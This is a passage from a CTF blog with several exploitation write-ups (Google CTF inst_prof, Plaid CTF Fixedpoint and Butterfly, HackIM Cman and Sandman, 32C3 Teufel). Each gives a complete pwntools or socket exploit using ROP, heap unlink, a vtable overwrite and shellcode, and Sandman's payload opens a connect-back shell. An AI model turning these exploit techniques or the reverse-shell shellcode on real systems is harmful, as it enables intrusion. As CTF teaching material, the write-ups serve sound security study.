</pre>
<pre class="prettyprint">
$ python solver.py
[+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done
[+] warming up cache for leaking pointers
[+] leaked TSC value = 0x30aba58d51eb8
[+] pointer_lsb = 0x173b18
[+] pointer_msb = 0x55636a
[+] leaked address = 0x55636a173b18
[+] ELF base address = 0x55636a173000
[+] sending ROP payload
[*] Switching to interactive mode
$ id
uid=1337(user) gid=1337(user) groups=1337(user)
$ cat flag.txt
CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}
</pre>
<b>Here is the full exploit:</b>
<pre class="prettyprint">
from pwn import *
host = 'inst-prof.ctfcompetition.com'
port = 1337
context.arch = 'amd64'
if len(sys.argv) == 2:
r = process('./inst_prof')
else:
r = remote(host, port)
r.recvline()
# warmup the cache for the leaking pointers
payload = ''
for _ in range(16):
payload += asm("xor r12, r12; nop")
# try finding difference in execution time between do_loop to predict rdtsc output
payload += asm("xor r12, r12; nop")
payload += asm("xor r12, r12; nop")
payload += asm("mov r12, [rbp-0x2d]") # leak 3 lsb bytes, unaligned read
payload += asm("xor r12, r12; nop")
payload += asm("xor r12, r12; nop")
payload += asm("mov r12, [rbp-0x2a]") # leak 3 msb bytes, unaligned read
print("[+] warming up cache for leaking pointers")
r.send(payload)
r.recv(16 * 8)
# leaking pointers in two chunks to make up for less predictable LSB values of TSC
t1 = u64(r.recv(8)) # leak lsb bytes
t2 = u64(r.recv(8))
diff = t2 - t1
expected_value = t2 + diff
t3 = u64(r.recv(8))
print("[+] leaked TSC value = 0x%x") % (t1)
pointer_lsb = ((expected_value - t3) & 0xffffffffffffffff) >> 40
print("[+] pointer_lsb = 0x%x" % (pointer_lsb))
t1 = u64(r.recv(8)) # leak msb bytes
t2 = u64(r.recv(8))
diff = t2 - t1
expected_value = t2 + diff
t3 = u64(r.recv(8))
pointer_msb = ((expected_value - t3) & 0xffffffffffffffff) >> 40
print("[+] pointer_msb = 0x%x" % (pointer_msb))
# .text:0000000000000B18 rdtsc
pointer = (pointer_msb << 24) | pointer_lsb
print("[+] leaked address = 0x%x" % (pointer))
elf_base = pointer & 0xfffffffffffff000
print("[+] ELF base address = 0x%x" % (elf_base))
# payload to return into read_n function
payload = asm("mov r13, rsp; ret")
payload += asm("mov r14, [r13]") # .text:0000000000000B18 rdtsc
payload += asm("mov r14b, 0xc3; ret") # pop rdi; ret
payload += asm("mov r15, [rbp-0x48]") # .text:0000000000000AA3 mov [rbx-1], al
payload += asm("mov r15b, 0x80; ret") # read_n address
payload += asm("mov [rbp+24], r15") # return into read_n
payload += asm("mov [rbp+16], r13") # stack address
payload += asm("mov [rbp+8], r14") # overwrite RIP with pop rdi; read_n(stack_address, 0x1000)
r.send(payload)
r.recv(8 * 8)
# send ROP payload using leaked ELF base address
print("[+] sending ROP payload")
payload = "A" * 72
payload += p64(elf_base + 0xbba) # 0x00000bba: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(0)
payload += p64(1)
payload += p64(elf_base + 0x0202028) # GOT address of alarm as NOP for call QWORD PTR [r12+rbx*8]
payload += p64(0x7) # rdx
payload += p64(0x1000) # rsi
payload += p64(0x4545454545454545) # rdi
payload += p64(elf_base + 0xba0) # __libc_csu_init
payload += "F"* 8
payload += p64(0)
payload += p64(1)
payload += p64(elf_base + 0x0202028) # GOT address of alarm as NOP for call QWORD PTR [r12+rbx*8]
payload += p64(0x100) # rdx, load registers for read
payload += p64(elf_base) # rsi
payload += p64(0) # rdi
# make ELF header RWX
payload += p64(elf_base + 0xbc3) # pop rdi; ret
payload += p64(elf_base) # rdi
payload += p64(elf_base + 0x820) # mprotect(elf_base, 0x1000, 7)
# read into ELF header
payload += p64(elf_base + 0xba0) # __libc_csu_init
payload += "G" * 56
payload += p64(elf_base + 0x7e0) # read(0, elf_base, 0x100)
# return to shellcode
payload += p64(elf_base)
payload += p64(0xdeadbeef00000000)
payload += "B" * (4096 - len(payload))
r.send(payload)
sc = asm(shellcraft.amd64.linux.syscall('SYS_alarm', 0))
sc += asm(shellcraft.amd64.linux.sh())
r.sendline(sc)
r.interactive()
</pre>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-32616903869894788232016-04-19T13:36:00.001+05:302018-08-11T18:06:58.775+05:30Plaid CTF 2016 - Fixedpoint
<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
The binary simply reads integers from user, performs floating point operations on it and stores it in a mmap'ed region with RWX permission. Finally, the mmap'ed region with floating point numbers is executed. We need to supply inputs such that, it transforms to valid shellcode. To solve this, we disassembled floating point values for each of possible values using capstone. Then grepped for needed instructions to chain them together to call execve('/bin/sh', 0, 0)
<pre class="highlight">
#include <stdio.h>
#include <string.h>
#include <capstone/capstone.h>
// gcc -std=c99 -o fixedpoint_disass fixedpoint_disass.c -lcapstone
int disass(unsigned int num, char *code)
{
csh handle;
cs_insn *insn;
size_t count = 0;
size_t inssz = 0;
if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK)
return EXIT_FAILURE;
count = cs_disasm(handle, code, sizeof(float), 0, 0, &insn);
if (count > 0) {
for (int i = 0; i < count; i++) inssz += insn[i].size;
// check if all bytes are disassembled
if (inssz == sizeof(float)) {
for (int i = 0; i < count; i++)
printf("%d :\t%s\t\t%s\n", num, insn[i].mnemonic, insn[i].op_str);
}
cs_free(insn, count);
}
cs_close(&handle);
return 0;
}
int main(int argc, char **argv)
{
if (argc != 3) exit(EXIT_FAILURE);
unsigned int from = atoi(argv[1]);
unsigned int till = atoi(argv[2]);
char opcode[8] = {0};
float bytes;
for (unsigned int num = from; num <= till; num++) {
bytes = num/1337.0;
memcpy(opcode, (char *)&bytes, sizeof(float));
disass(num, opcode);
}
return 0;
}
</pre>
Below is the payload:
<pre class="highlight">
#!/usr/bin/env python
from pwn import *
HOST = '127.0.0.1'
HOST = 'fixedpoint.pwning.xxx'
PORT = 7777
context.arch = 'x86_64'
soc = remote(HOST, PORT)
"""
134498: xchg eax, edi
134498: xor ecx, ecx
134498: inc edx
"""
soc.sendline('134498')
"""
100487: das
100487: push ecx
100487: xchg eax, esi
100487: inc edx
"""
soc.sendline('100487')
# set space for /bin/sh
soc.sendline('100487')
soc.sendline('100487')
"""
146531: xchg eax, edi
146531: xor ebx, ebx
146531: inc edx
"""
soc.sendline('146531')
"""
562055: dec esi
562055: xor edx, edx
562055: inc ebx
"""
soc.sendline('562055')
"""
233578: cld
233578: mov bl, 0x2e
233578: inc ebx
"""
soc.sendline('233578')
"""
198025: mov byte ptr [esp + edx], bl
198025: inc ebx
"""
soc.sendline('198025')
"""
2238: inc eax
2238: inc edx
2238: salc
2238: aas
"""
soc.sendline('2238')
"""
301765: cld
301765: mov bl, 0x61
301765: inc ebx
"""
soc.sendline('301765')
#198025: mov byte ptr [esp + edx], bl
soc.sendline('198025')
#2238: inc edx
soc.sendline('2238')
"""
311124: cld
311124: mov bl, 0x68
311124: inc ebx
"""
soc.sendline('311124')
#198025: mov byte ptr [esp + edx], bl
soc.sendline('198025')
#2238: inc edx
soc.sendline('2238')
"""
317809: cld
317809: mov bl, 0x6d
317809: inc ebx
"""
soc.sendline('317809')
#198025: mov byte ptr [esp + edx], bl
soc.sendline('198025')
#2238: inc edx
soc.sendline('2238')
"""
233578: cld
233578: mov bl, 0x2e
233578: inc ebx
"""
soc.sendline('233578')
#198025: mov byte ptr [esp + edx], bl
soc.sendline('198025')
#2238: inc edx
soc.sendline('2238')
"""
324494: cld
324494: mov bl, 0x72
324494: inc ebx
"""
soc.sendline('324494')
#198025: mov byte ptr [esp + edx], bl
soc.sendline('198025')
#2238: inc edx
soc.sendline('2238')
"""
309787: cld
309787: mov bl, 0x67
309787: inc ebx
"""
soc.sendline('309787')
#198025: mov byte ptr [esp + edx], bl
soc.sendline('198025')
"""
152108: dec ecx
152108: mov ebx, esp
152108: inc edx
"""
soc.sendline('152108')
"""
134498: xchg eax, edi
134498: xor ecx, ecx
134498: inc edx
"""
soc.sendline('134498')
"""
100487: das
100487: push ecx
100487: xchg eax, esi
100487: inc edx
"""
soc.sendline('100487')
# for pop edx
soc.sendline('100487')
"""
151060: cmc
151060: mul ecx
151060: inc edx
"""
soc.sendline('151060')
"""
46691: pop ecx
46691: mov al, 0xb
46691: inc edx
"""
soc.sendline('46691')
"""
9464 : pop edx
9464 : and edx, 0x40
"""
soc.sendline('9464')
"""
1377666: dec edi
1377666: int 0x80
1377666: inc esp
"""
soc.sendline('1377666')
soc.sendline('DONE')
soc.recvline()
soc.interactive()
# PCTF{why_isnt_IEEE_754_IEEE_7.54e2}
</pre>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com1tag:blogger.com,1999:blog-3932878064881956934.post-9090054265816724432016-04-19T13:35:00.000+05:302018-08-11T18:08:44.268+05:30Plaid CTF 2016 - Butterfly
<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
butterfly is a 64 bit executable with NX and stack canaries enabled. <br /><br />
[+] The binary reads 50 bytes through fgets, converts it to integer(address) using strtol<br />
[+] This address is page aligned and made writable using mprotect<br />
[+] The address is processed and then used for bit flip<br />
[+] mprotect is called again to remove write permissions<br /><br />
So, we need to use the bit flip to gain control of execution. Below are the bit flips done in sequence to get code execution:<br /><br />
[+] 0x0400860 add rsp,0x48 -> push 0x5b48c483. This will point RSP into the fgets buffer on return from function<br />
[+] Then return to 0x04007B8 to achieve multiple bit flips<br />
[+] Bypass stack canary check by flipping, 0x40085b jne stack_check_fail -> 0x40085b je stack_check_fail<br />
[+] Modify second mprotect call's argument to keep the RWX permission, 0x40082f mov edx,0x5 -> mov edx,0x7<br />
[+] Modify first mproect call's argument as, 0x4007ef mov r15,rbp -> mov r15,r13. Since r13 holds an address in stack, this will make stack RWX<br />
[+] Send the shellcode in next call to fgets and return to 0x400993 [jmp rsp] to execute the shellcode<br /><br />
Below is the exploit:
<pre class="highlight">
#!/usr/bin/env python
from pwn import *
HOST = '127.0.0.1'
HOST = 'butterfly.pwning.xxx'
PORT = 9999
context.arch = 'x86_64'
soc = remote(HOST, PORT)
soc.recvline()
def send_payload(address_to_flip, address_to_ret, shellcode = ''):
global soc
payload = str(address_to_flip) + chr(0)
payload += "A" * (8 - (len(payload) % 8))
payload += p64(address_to_ret)
payload += shellcode
soc.sendline(payload)
soc.recvline()
# add rsp, 0x48
send_payload(33571589, 0x4007B8)
# jnz short stack_check_fail
send_payload(33571544, 0x4007B8)
# mov edx, 5
send_payload(33571201, 0x4007B8)
# mov r15, rbp
send_payload(33570682, 0x4007B8)
# make stack executable and jump to shellcode
shell = asm(shellcraft.amd64.linux.sh())
send_payload(33571864, 0x400993, shell)
soc.interactive()
# PCTF{b1t_fl1ps_4r3_0P_r1t3}
</pre>
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-81087709046588185072016-02-03T04:35:00.000+05:302018-08-11T18:09:16.382+05:30HackIM CTF 2016 - Exploitation 300 - Cman
<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
Cman is a 64 bit statically linked and stripped ELF without NX protection. I used IDA's sigmake to generate libc signatures for this binary. The program is a contact manager providing options to add, delete, edit contacts etc.<br /><br />
Function @00000000004021CA reads option from user and calls the necessary functions:
<pre class="highlight">
A = ADD_CONTACT@00000000004019B4
D = DELETE_CONTACT@0000000000401C0D
E = EDIT_CONTACT@0000000000401EBD
X = EXIT@000000000040105E
L = LIST_CONTACT@00000000004016E2
S = MANAGE_CONTACT@0000000000401F2D
</pre>
MANAGE_CONTACT provides many other options
<pre class="highlight">
d - delete
e - edit
p - previous
n - next
q - quit
s - show
</pre>
Contacts are saved in structures connected using doubly linked list data strucure. Below is the structure being used:
<pre class="highlight">
struct contact {
char fname[64];
char lname[64];
char phone[14];
char header[4];
char gender[1];
char unused[1];
char cookie[4];
long int empty;
struct contact *prev;
struct contact *next;
};
</pre>
The pointer @00000000006C3D58 points to head of doubly linked list. This turned out to be useful for exploitation. The program performs two initialization operations - setup a cookie value and add couple of contacts to the manager.<br /><br />
Cookie is set using functions @000000000040216D and @0000000000401113. The algorithm for cookie generation depends on current time.
<pre class="highlight">
char cookie[4];
secs = time(0);
_srandom(secs);
for (count = 0; count < sz; count++) {
cookie[count] = rand();
}
cookie |= 0x80402010
</pre>
Analyzing the function @0000000000401C5E used for editing a contact, I found a bug.
<pre class="highlight">
write("New last name: ");
read(&user_input, 64, 0xA);
......
write("New phone number: ");
read(&user_input, 14, 0xA); // fill the entire 14 bytes so that there is no NUL termination
if (user_input) {
memset(object + 128, 0, 16);
sz = strlen(&user_input);
if ( sz > 16 ) sz = 64; // size becomes > 16 as strlen computes length on non-NUL terminated string from last name
memcpy(object + 128, &user_input, sz); // overflows entries in chunk and corrupts heap meta data
}
</pre>
Everytime the contact is edited, the cookie value in structure is checked for corruption:
<pre class="highlight">
if ( *(object + 148) != COOKIE ) {
IO_puts("** Corruption detected. **");
exit(-1);
}
</pre>
To exploit this bug and overwrite the prev and next pointers of structure, cookie check needs to be bypassed. Note that cookie is generated based on current time as time(0). Checking the remote server time as below, I found that the epoch time is same as mine [Time=56ACC320].
<pre class="highlight">
nmap -sV 52.72.171.221 -p 22
SF-Port22-TCP:V=6.40%I=7%D=1/30%Time=56ACC320%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\.4\r\n");
</pre>
So cookie value can be found by guessing the time, thus overflowing the prev and next pointers. Then doubly linked list delete operation can be triggered to get a write-anything-anywhere primitive. Since the binary is statically linked, one cannot target GOT entries as we do normally. So I started looking for other data structures in binary <br /><br />
_IO_puts was making the below call:
<pre class="highlight">
.text:0000000000409FF7 mov rax, [rdi+0D8h]
.text:0000000000409FFE mov rdx, rbp
.text:000000000040A001 mov rsi, r12
.text:000000000040A004 call qword ptr [rax+38h]
</pre>
This code is coming as part of call to _IO_sputn (_IO_stdout, str, len). RDI points to struct _IO_FILE_plus(_IO_stdout) in .data segment, which holds pointer to struct _IO_jump_t
<pre class="highlight">
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_jump_t
{
JUMP_FIELD(_G_size_t, __dummy);
#ifdef _G_USING_THUNKS
JUMP_FIELD(_G_size_t, __dummy2);
#endif
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn); // this gets called
</pre>
So the idea here is to overwrite the vtable pointer with address of contact_head_ptr(.bss) - 0x38. So call qword ptr [rax+38h] will land in contact[0].fname thus directly bypassing ASLR to execute shellcode.<br /><br />
Note that, function checking for valid names, checks only the first character
<pre class="highlight">
bool check_name(char *name) {
return *name > '@' && *name <= 'Z';
}
</pre>
Below is the full exploit:
<pre class="highlight">
#!/usr/bin/env python
from pwn import *
import ctypes
import random
HOST = '52.72.171.221'
HOST = '127.0.0.1'
PORT = 9983
context.arch = 'x86_64'
libc = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
def get_local_time(): return libc.time(0)
def get_cookie(time):
libc.srandom(time)
cookie = 0
for x in range(4):
random = libc.rand() & 0xff
cookie |= (random << (8 * x))
cookie |= 0x80402010
return p32(cookie)
def add_node(soc, fname, lname, number, gender):
soc.sendline("A")
soc.sendlineafter("First: ", fname)
soc.sendlineafter("Last: ", lname)
soc.sendlineafter("Phone Number: ", number)
soc.sendlineafter("Gender: ", gender)
def edit_node(soc, fname, lname, new_fname, new_lname, new_number, new_gender):
soc.sendline("E")
soc.sendlineafter("First: ", fname)
soc.sendlineafter("Last: ", lname)
soc.recvline()
soc.sendlineafter("New first name: ", new_fname)
soc.sendlineafter("New last name: ", new_lname)
soc.sendlineafter("New phone number: ", new_number)
soc.sendlineafter("New gender: ", new_gender)
def delete_node(soc, fname, lname):
soc.sendline("D")
soc.sendlineafter("First: ", fname)
soc.sendlineafter("Last: ", lname)
while True:
local_time = get_local_time()
cookie = get_cookie(local_time + random.randint(0,5))
soc = remote(HOST, PORT)
soc.recvline()
# edit already existing node to add shellcode
fname = "Robert"
lname = "Morris"
new_fname = "P" + asm(shellcraft.amd64.linux.sh())
new_lname = lname
new_number = "(123)123-1111"
edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')
# create a new node to overflow
fname = "A"*8
lname = fname
number = "(123)123-1111"
add_node(soc, fname, lname, number, 'M')
# overflow node
new_fname = fname
head_ptr = 0x6C3D58
prev_ptr = p64(head_ptr - 0x38)
# _IO_puts calls _IO_sputn
# .text:0000000000409FF7 mov rax, [rdi+0D8h]
# .text:0000000000409FFE mov rdx, rbp
# .text:000000000040A001 mov rsi, r12
# .text:000000000040A004 call qword ptr [rax+38h]
# RDI points to struct _IO_FILE_plus(_IO_stdout), which holds pointer to struct _IO_jump_t
# overwrite pointer to _IO_jump_t with address of head node ptr-0x38
IO_FILE_plus = 0x6C2498
next_ptr = p64(IO_FILE_plus - 0xA0)
chunk_sz = p64(0xC1)[:-1]
new_lname = "C"*20 + cookie + p64(0) + prev_ptr + next_ptr + p64(0) + chunk_sz
new_number = "(123)123-11111"
edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')
res = soc.recvline().strip()
if res == "** Corruption detected. **": soc.close()
else: break
print "[+] Found Cookie : %x" % u32(cookie)
# trigger overwrite due to linked list operation
delete_node(soc, fname, lname)
print "[+] Getting shell"
soc.interactive()
# flag-{h34pp1es-g3771ng-th3r3}
</pre>
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com3tag:blogger.com,1999:blog-3932878064881956934.post-34742951713288427152016-02-03T04:32:00.000+05:302018-08-11T18:09:54.185+05:30HackIM CTF 2016 - Exploitation 200 - Sandman<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
sandman is a 64 bit ELF without much memory protections
<pre class="highlight">
$ checksec --file ./sandman
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH ./sandman
</pre>
sandman binary spawns a child process using fork. Parent and child could communicate via pipes. The parent process creates memory page with RWX permission of user specified size and reads data into it. SECCOMP is used to allow only a white list of syscalls - read, write, exit. After this the mmap region is called to execute supplied code.<br /><br />
Though we have code execution, it has limited use since only read/write syscalls could be made. Then I started analyzing the child process since communication can be done over pipes.<br /><br />
The function cmd_http_fetch@0000000000400CCA could be invoked by sending a value 0xE to the child. Further user input is read into a calloc buffer. Then function @0000000000400BAC is invoked to process this buffer. The function expects the buffer to start with 'http://' and later copies the data into stack, resulting in buffer overflow
<pre class="highlight">
len = strlen((user_input + 7));
strncpy(&dest, (user_input + 7), len);
</pre>
So the idea of exploit is to use write syscalls in parent process to communicate with child to trigger the buffer overflow. Also there is no seccomp protection in child process. Since child is spawned using fork, RSP from parent could be used to compute the buffer address pointing to shellcode in child by a fixed offset thus bypassing ASLR. Below is the exploit:
<pre class="highlight">
#!/usr/bin/env python
from pwn import *
HOST = "52.72.171.221"
HOST = "127.0.0.1"
PORT = 9982
conn = remote(HOST, PORT)
context.arch = 'x86_64'
sc = shellcraft.amd64.linux.syscall('SYS_alarm', 0)
sc += shellcraft.amd64.linux.connect('127.1.1.1', 12345)
sc += shellcraft.amd64.linux.dupsh()
sc = asm(sc)
def gen_payload(sc):
# pad for QWORDs
sc += asm("nop") * (8 - (len(sc) % 8))
payload = ''
# generate mov rbx, QWORD; push rbx; sequence
for i in range(0, len(sc), 8):
qword = u64(sc[i:i+8])
payload = asm("mov rbx, %d" % (qword)) + asm("push rbx") + payload
return payload, len(sc)/8
pipe = 0x5
pipe = 0x4
size = p32(8092)
conn.send(size)
# send choice
shellcode = asm("push 0xe")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 1))
# send size
shellcode += asm("push 0x1000")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 4))
# prepare payload for buffer overflow
# new line
shellcode += asm("mov rbx, 0x0a0a0a0a0a0a0a0a")
shellcode += asm("push rbx")
# padding for 4096 bytes
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 440
# RIP overwrite + ASLR bypass
shellcode += asm("mov rbx, rsp")
shellcode += asm("add rbx, 0xb20")
shellcode += asm("shr rbx, 0x8")
shellcode += asm("push rbx")
# last byte of address
shellcode += asm("mov rbx, 0xffffffffffffffff")
shellcode += asm("push rbx")
# fill buffer
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 5
# connect back shellcode
execve, qwords = gen_payload(sc)
shellcode += execve
# NOPs
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * (63 - qwords)
# HTTP header
shellcode += asm("mov rbx, 0x902f2f3a70747468")
shellcode += asm("push rbx")
# write payload
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 0x1000))
# exit
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_exit', 0))
shellcode += asm("nop") * (8091 - len(shellcode))
conn.send(shellcode + chr(0xa))
# flag-{br3k1ng-b4d-s4ndm4n}
</pre>
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-52972745009611708432015-12-31T22:45:00.001+05:302018-08-11T18:10:20.048+05:3032C3 CTF - Pwn 200 - Teufel<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
The binary allocates memory using mmap as below:
<pre class="highlight">
mmap(NULL, 12288, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7ffff7ff3000
</pre>
And then 4096 bytes is given R+W permission:
<pre class="highlight">
mprotect(0x7ffff7ff4000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(mmap_addres+4096, 4096, PROT_READ|PROT_WRITE) = 0
</pre>
Then stack pointer is set to address as mmap_address+8192. The function at 0x004004E6, allocates a stack as RSP-8 along with saved RIP and RBP. After this there are couple of read calls, first one reading bytes used as count parameter for second read call.
<pre class="highlight">
.text:00000000004004EE mov edi, 0 ; fd
.text:00000000004004F3 lea rsi, [rbp+buf] ; buf
.text:00000000004004F7 mov edx, 8 ; nbytes
.text:00000000004004FC call _read
.text:0000000000400507 mov edi, 0 ; fd
.text:000000000040050C lea rsi, [rbp+buf] ; buf
.text:0000000000400510 mov rdx, [rbp+buf] ; nbytes
.text:0000000000400514 call _read
</pre>
This leaves us with option to overwrite saved RIP, but very less amount of data could be written ie. 24 bytes. There is also an info leak due to puts, which prints data till NUL byte
<pre class="highlight">
.text:000000000040051F lea rdi, [rbp+buf] ; s
.text:0000000000400523 call _puts
</pre>
Below is the idea for info leak to get mmap and libc address: <br /><br />
[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP<br />
[*] Overwrite saved RBP with address of GOT entry of libc function<br />
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution<br /><br />
Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
<pre class="highlight">
.text:00000000000F6950 loc_F6950: ; CODE XREF: sub_F6260+661
.text:00000000000F6950 lea rdi, aBinSh ; "/bin/sh"
.text:00000000000F6957 jmp short loc_F6911
.text:00000000000F6911 loc_F6911: ; CODE XREF: sub_F6260+6F7
.text:00000000000F6911 mov rdx, [rbp+var_F8]
.text:00000000000F6918 mov rsi, r8
.text:00000000000F691B call execve
</pre>
Among the few available gadgets for execve call, the above one doesn't use RSP for memory reference and hence we can safely use in exploit. RBP is controlled due to overflow and r8 is set to 0 due to program state during crash, thus making a call execve("/bin/sh", 0, 0). Below is the exploit:
<pre class="highlight">
#!/usr/bin/env python
import socket
import telnetlib
import struct
ip = '136.243.194.41'
port = 666
# from the provided libc
offset_exit = 0x00000000000cafe0
got_exit = 0x00600FD0
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)
# get address of libc
payload = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", got_exit + 8) # leak got entry of _exit
payload += struct.pack("<Q", 0x0040051F) # address to puts call
soc.send(payload)
soc.recv(128)
libc_exit = soc.recv(128).strip() + chr(0)*2
libc_exit = struct.unpack("<Q", libc_exit)[0]
print 'Address of exit : %s' % hex(libc_exit)
libc_base = libc_exit - offset_exit
print 'Address of libc base : %s' % hex(libc_base)
mmap_to_libc = RBP - libc_base
print 'Address offset : %s' % hex(mmap_to_libc)
</pre>
<pre class="highlight">
Address of mmap : 0x7f30435c6000
Address of exit : 0x7f30430a6fe0
Address of libc base : 0x7f3042fdc000
Address offset : 0x5ea000
</pre>
<pre class="highlight">
#!/usr/bin/env python
import socket
import telnetlib
import struct
ip = '136.243.194.41'
port = 666
offset_libc_base = 0x5ea000
offset_execve = 0x0F6950
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)
libc_base = RBP - offset_libc_base
execve = libc_base + offset_execve
# get shell
payload = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", 0x00600800) # RBP pointing to NULL
payload += struct.pack("<Q", execve)
soc.send(payload)
soc.recv(16)
s = telnetlib.Telnet()
s.sock = soc
s.interact()
# 32C3_mov_pop_ret_repeat
</pre>
Flag for the challenge is <b>32C3_mov_pop_ret_repeat</b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-20206793059844939042015-12-31T22:45:00.000+05:302018-08-11T18:10:40.534+05:3032C3 CTF - Misc 300 - Gurke<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
This challenge is about python pickle. The remote script fetches the flag as below:
<pre class="highlight">
class Flag(object):
def __init__(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 1234))
self.flag = s.recv(1024).strip()
s.close()
flag = Flag()
</pre>
Once the Flag class is instantiated, seccomp is used to restrict many of syscalls eg. socket calls used in Flag class won't work
<pre class="highlight">
f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")
f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
